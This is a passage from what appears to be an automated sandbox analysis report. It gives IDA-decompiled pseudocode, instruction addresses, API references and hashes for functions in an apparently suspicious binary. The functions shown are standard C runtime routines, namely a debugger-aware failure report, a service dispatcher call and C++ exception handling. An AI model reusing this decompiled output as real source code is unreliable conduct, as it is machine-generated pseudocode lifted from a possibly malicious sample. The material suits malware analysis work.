				E009ADBB0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E009ACE12(_t49);
				}
				return _t49;
			}

0x009acc19
0x009acc19
0x009acc19
0x009acc2d
0x009acc2f
0x009acc32
0x009acc32
0x009acc36
0x009acc3b
0x009acc53
0x009acc59
0x009acc5f
0x009acc65
0x009acc6b
0x009acc71
0x009acc77
0x009acc7e
0x009acc85
0x009acc8c
0x009acc93
0x009acc9a
0x009acca1
0x009acca2
0x009accab
0x009accb1
0x009accb4
0x009accba
0x009accc9
0x009accd5
0x009acce0
0x009acce7
0x009accee
0x009accf9
0x009acd01
0x009acd0a
0x009acd0c
0x009acd0f
0x009acd11
0x009acd1b
0x009acd23
0x009acd29
0x00000000
0x009acd30
0x009acd33

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009ACC25
IsDebuggerPresent.KERNEL32 ref: 009ACCF1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009ACD11
UnhandledExceptionFilter.KERNEL32(?), ref: 009ACD1B

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 31ae6e7a1b3d0228b1f1b6113e6bc5a8be3f3aabc4be8a14af32d7eb5c8bfb3b
Instruction ID: a2257fe1e7f44da3ba88fba3ffb21124e3a30de129522a0afd3dae152cd81b2f
Opcode Fuzzy Hash: 31ae6e7a1b3d0228b1f1b6113e6bc5a8be3f3aabc4be8a14af32d7eb5c8bfb3b
Instruction Fuzzy Hash: 173118B5D053189BDB10DFA4D989BCDBBB8BF18300F1040EAE40DAB290EB705A849F45

Uniqueness

Uniqueness Score: -1.00%

Function 00981060 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 00981166

Strings

5a(|, xrefs: 009810E8

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID: 5a(|
API String ID: 3789849863-2873812261
Opcode ID: 1af50af54225a90d8d9c8deee19581eb6f930953f381bf6ad2371321c73c835a
Instruction ID: 799b567cc648b2a30c81b0c61cd7895e8a2b07e3d0d8e25f6a8307057030fdc7
Opcode Fuzzy Hash: 1af50af54225a90d8d9c8deee19581eb6f930953f381bf6ad2371321c73c835a
Instruction Fuzzy Hash: 40412574D0928C9BDB11CFA8D9816DDFBB1BF59310F188159D888B7312E7305A8ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 009AE0A7 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E009AE0A7(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E009AF00D(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E009B6A4A(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E009ADD62(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E009ADD62(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E009AD09B(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E009ACFCE(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E009AE027(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E009B6A4A(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E009ADD62(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E009ADD62(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E009ADD62(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E009ADD62(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E009ACFCE(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E009AE027(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E009AD406(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E009ADD62(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E009AEAB6(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E009ADD62(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E009ADD62(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E009ADD62(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E009ADD62(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E009AEAB6(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E009B69AF(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E009AE74A( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x9d2984) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E009AD406(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E009AE732( &_v64);
											E009AD96B( &_v64, 0x9d0b9c);
											L63:
											 *(E009ADD62(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E009ADD62(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E009AD1C1(_t279, _t319, _t274);
											E009AE9B6(_a8, _a16, _t305);
											_t235 = E009AEB73(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E009AE92D(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x009ae0a7
0x009ae0ae
0x009ae0b0
0x009ae0b9
0x009ae0bf
0x009ae0c7
0x009ae0c9
0x009ae0cc
0x009ae0d2
0x009ae44b
0x009ae44b
0x009ae450
0x009ae452
0x009ae454
0x009ae457
0x009ae458
0x009ae45b
0x009ae461
0x009ae580
0x009ae467
0x009ae467
0x009ae468
0x009ae469
0x009ae470
0x009ae473
0x009ae476
0x009ae47c
0x009ae47e
0x009ae483
0x009ae486
0x009ae488
0x009ae48e
0x009ae490
0x009ae496
0x009ae4ab
0x009ae4b0
0x009ae4b3
0x009ae4b5
0x009ae57c
0x00000000
0x009ae57d
0x009ae4b5
0x009ae496
0x009ae48e
0x009ae486
0x009ae4bb
0x009ae4be
0x009ae4c1
0x009ae4c4
0x009ae4c7
0x009ae4cd
0x009ae4df
0x009ae4e4
0x009ae4e7
0x009ae4ea
0x009ae4ed
0x009ae4f0
0x009ae4f3
0x009ae4f6
0x00000000
0x00000000
0x009ae4fc
0x009ae4fc
0x009ae4ff
0x009ae502
0x009ae511
0x009ae512
0x009ae512
0x009ae514
0x009ae517
0x00000000
0x00000000
0x009ae519
0x009ae51c
0x00000000
0x00000000
0x009ae52a
0x009ae52c
0x009ae52f
0x009ae531
0x009ae539
0x009ae539
0x009ae53c
0x009ae53e
0x009ae540
0x009ae55c
0x009ae561
0x009ae564
0x009ae564
0x00000000
0x009ae53c
0x009ae533
0x009ae537
0x00000000
0x00000000
0x00000000
0x009ae567
0x009ae56a
0x009ae56b
0x009ae56e
0x009ae571
0x009ae574
0x009ae577
0x009ae577
0x00000000
0x009ae502
0x009ae581
0x009ae586
0x009ae587
0x009ae58a
0x009ae58d
0x009ae58e
0x009ae58f
0x009ae590
0x009ae593
0x009ae595
0x009ae60d
0x009ae60f
0x009ae60f
0x009ae597
0x009ae597
0x009ae59a
0x009ae59d
0x00000000
0x009ae59f
0x009ae59f
0x009ae5a2
0x009ae5a5
0x009ae5ac
0x009ae5ac
0x009ae5af
0x009ae5b1
0x009ae5b3
0x009ae5e5
0x009ae5e5
0x009ae5e8
0x009ae5ef
0x009ae5ef
0x009ae5f2
0x009ae5f5
0x009ae5fc
0x009ae5fc
0x009ae5ff
0x009ae606
0x009ae608
0x009ae608
0x009ae601
0x009ae601
0x009ae604
0x00000000
0x00000000
0x009ae604
0x009ae5f7
0x009ae5f7
0x009ae5fa
0x00000000
0x00000000
0x009ae5fa
0x009ae5ea
0x009ae5ea
0x009ae5ed
0x00000000
0x00000000
0x009ae5ed
0x009ae609
0x009ae5b5
0x009ae5b5
0x009ae5b5
0x009ae5b8
0x009ae5b8
0x009ae5ba
0x009ae5bc
0x00000000
0x00000000
0x009ae5be
0x009ae5c0
0x009ae5d4
0x009ae5d4
0x009ae5c2
0x009ae5c2
0x009ae5c5
0x009ae5c8
0x00000000
0x009ae5ca
0x009ae5ca
0x009ae5cd
0x009ae5d0
0x009ae5d2
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae5d2
0x009ae5c8
0x009ae5dd
0x009ae5dd
0x009ae5df
0x00000000
0x009ae5e1
0x009ae5e1
0x009ae5e1
0x00000000
0x009ae5df
0x009ae5d8
0x009ae5da
0x009ae5da
0x00000000
0x009ae5da
0x009ae5a7
0x009ae5a7
0x009ae5aa
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae5aa
0x009ae5a5
0x009ae59d
0x009ae610
0x009ae614
0x009ae614
0x009ae0e1
0x009ae0e1
0x009ae0ea
0x009ae1e7
0x009ae1e7
0x009ae1ea
0x00000000
0x009ae119
0x009ae119
0x009ae11e
0x00000000
0x009ae124
0x009ae124
0x009ae12c
0x009ae3e5
0x009ae3e9
0x009ae132
0x009ae137
0x009ae13a
0x009ae13f
0x009ae146
0x009ae14b
0x00000000
0x009ae183
0x009ae18b
0x009ae1ef
0x009ae1ef
0x009ae1f2
0x009ae1f5
0x009ae1f7
0x009ae1fa
0x009ae1fd
0x009ae203
0x009ae3b4
0x009ae3b4
0x009ae3b7
0x00000000
0x009ae3b9
0x009ae3b9
0x009ae3bc
0x00000000
0x009ae3c2
0x009ae3c2
0x009ae3c5
0x009ae3c8
0x009ae3c9
0x009ae3ca
0x009ae3cd
0x009ae3ce
0x009ae3d1
0x009ae3d2
0x009ae3d7
0x00000000
0x009ae3d7
0x009ae3bc
0x009ae209
0x009ae209
0x009ae20d
0x00000000
0x009ae213
0x009ae213
0x009ae21a
0x009ae232
0x009ae232
0x009ae235
0x009ae238
0x009ae23e
0x009ae24e
0x009ae253
0x009ae256
0x009ae259
0x009ae25c
0x009ae25f
0x009ae262
0x009ae265
0x009ae26b
0x009ae26b
0x009ae26e
0x009ae271
0x009ae280
0x009ae281
0x009ae281
0x009ae283
0x009ae286
0x009ae28c
0x009ae28f
0x009ae295
0x009ae297
0x009ae29a
0x009ae29d
0x009ae2a6
0x009ae2a9
0x009ae2ab
0x009ae2ab
0x009ae2ae
0x009ae2b1
0x009ae2b4
0x009ae2b7
0x009ae2ba
0x009ae2bf
0x009ae2c0
0x009ae2c1
0x009ae2c2
0x009ae2c3
0x009ae2c6
0x009ae2c8
0x009ae2ca
0x00000000
0x009ae2cc
0x009ae2cc
0x009ae2cc
0x009ae2cf
0x009ae2d2
0x009ae2d4
0x009ae2d5
0x009ae2da
0x009ae2dd
0x009ae2df
0x00000000
0x00000000
0x009ae2e1
0x009ae2e2
0x009ae2e5
0x009ae2e7
0x00000000
0x009ae2e9
0x009ae2e9
0x009ae2ec
0x009ae2ef
0x00000000
0x009ae2ef
0x00000000
0x009ae2e7
0x009ae303
0x009ae309
0x009ae326
0x009ae32b
0x009ae32b
0x009ae32e
0x009ae32e
0x00000000
0x009ae2f2
0x009ae2f2
0x009ae2f3
0x009ae2f6
0x009ae2f9
0x009ae2fc
0x009ae2fc
0x00000000
0x009ae301
0x009ae29d
0x009ae28f
0x009ae331
0x009ae334
0x009ae335
0x009ae338
0x009ae33b
0x009ae33e
0x009ae341
0x009ae341
0x009ae34a
0x009ae34d
0x009ae34d
0x009ae265
0x009ae350
0x009ae354
0x009ae356
0x009ae359
0x009ae35f
0x009ae35f
0x009ae367
0x009ae36c
0x009ae3da
0x009ae3da
0x009ae3df
0x009ae3e3
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae36e
0x009ae36e
0x009ae372
0x009ae384
0x009ae387
0x009ae38a
0x009ae38c
0x009ae3a3
0x009ae3a7
0x009ae3ad
0x009ae3ae
0x009ae3b0
0x00000000
0x009ae3b2
0x00000000
0x009ae3b2
0x009ae38e
0x009ae393
0x009ae396
0x009ae39b
0x009ae39e
0x00000000
0x009ae39e
0x009ae374
0x009ae377
0x009ae37a
0x009ae37c
0x00000000
0x009ae37e
0x009ae37e
0x009ae382
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae382
0x009ae37c
0x009ae372
0x009ae21c
0x009ae21c
0x009ae223
0x00000000
0x009ae225
0x009ae225
0x009ae22c
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae22c
0x009ae223
0x009ae21a
0x009ae20d
0x009ae18d
0x009ae195
0x009ae198
0x009ae19d
0x009ae1a1
0x009ae1a4
0x009ae1aa
0x009ae1ad
0x00000000
0x009ae1af
0x009ae1af
0x009ae1b2
0x009ae1b4
0x009ae3ea
0x009ae3ea
0x00000000
0x009ae1ba
0x009ae1c2
0x009ae1cd
0x00000000
0x00000000
0x009ae1d6
0x009ae1d9
0x009ae1da
0x009ae1dd
0x009ae1df
0x00000000
0x009ae1e5
0x00000000
0x009ae1e5
0x00000000
0x009ae1df
0x009ae1ba
0x009ae3ef
0x009ae3ef
0x009ae3f1
0x009ae3f2
0x009ae3f9
0x009ae3fc
0x009ae40a
0x009ae40f
0x009ae414
0x009ae417
0x009ae41c
0x009ae41f
0x009ae422
0x009ae424
0x009ae426
0x009ae426
0x009ae42b
0x009ae437
0x009ae43d
0x009ae442
0x009ae445
0x009ae446
0x00000000
0x009ae446
0x009ae1ad
0x009ae18b
0x009ae14b
0x009ae12c
0x009ae11e
0x009ae0ea

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 009AE1A4
type_info::operator==.LIBVCRUNTIME ref: 009AE1C6
___TypeMatch.LIBVCRUNTIME ref: 009AE2D5
IsInExceptionSpec.LIBVCRUNTIME ref: 009AE3A7
_UnwindNestedFrames.LIBCMT ref: 009AE42B
CallUnexpected.LIBVCRUNTIME ref: 009AE446

Strings

csm, xrefs: 009AE0E4
csm, xrefs: 009AE151
csm, xrefs: 009AE1FD

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 4ac86f5adb1033b86b467aaf92bf9dc6976cfde0b0c693f78359fabfa1a28b2d
Instruction ID: 0d0caa84d222f1b5b31db56eca7365cf8d70c8cbb759e7423909a319479cc54f
Opcode Fuzzy Hash: 4ac86f5adb1033b86b467aaf92bf9dc6976cfde0b0c693f78359fabfa1a28b2d
Instruction Fuzzy Hash: 5BB16A71800219EFCF25DFA4C881AAEBBB9FF4A314F14445AF8116B252D731EA51CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0099F8D7 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0099F8D7(void* __ebx, void* __edi, void* __esi) {
				CHAR* _t203;
				signed int _t210;
				CHAR* _t253;
				void* _t254;
				char _t262;
				char _t293;
				void* _t328;
				void* _t329;
				signed int _t330;

				L0:
				while(1) {
					L0:
					_t329 = __esi;
					_t328 = __edi;
					_t254 = __ebx;
					 *(_t330 - 0x15c) =  *(_t330 - 0x15c) + 1;
					_t296 =  *(_t330 - 0x15c);
